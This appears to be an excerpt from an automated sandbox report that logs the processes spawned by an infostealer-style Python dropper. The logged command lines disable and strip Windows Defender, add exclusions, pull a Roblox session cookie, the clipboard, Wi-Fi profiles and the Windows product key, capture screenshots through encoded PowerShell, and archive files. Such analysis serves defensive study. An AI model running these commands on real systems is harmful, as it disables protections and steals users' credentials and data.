Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3733.tmp" "c:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
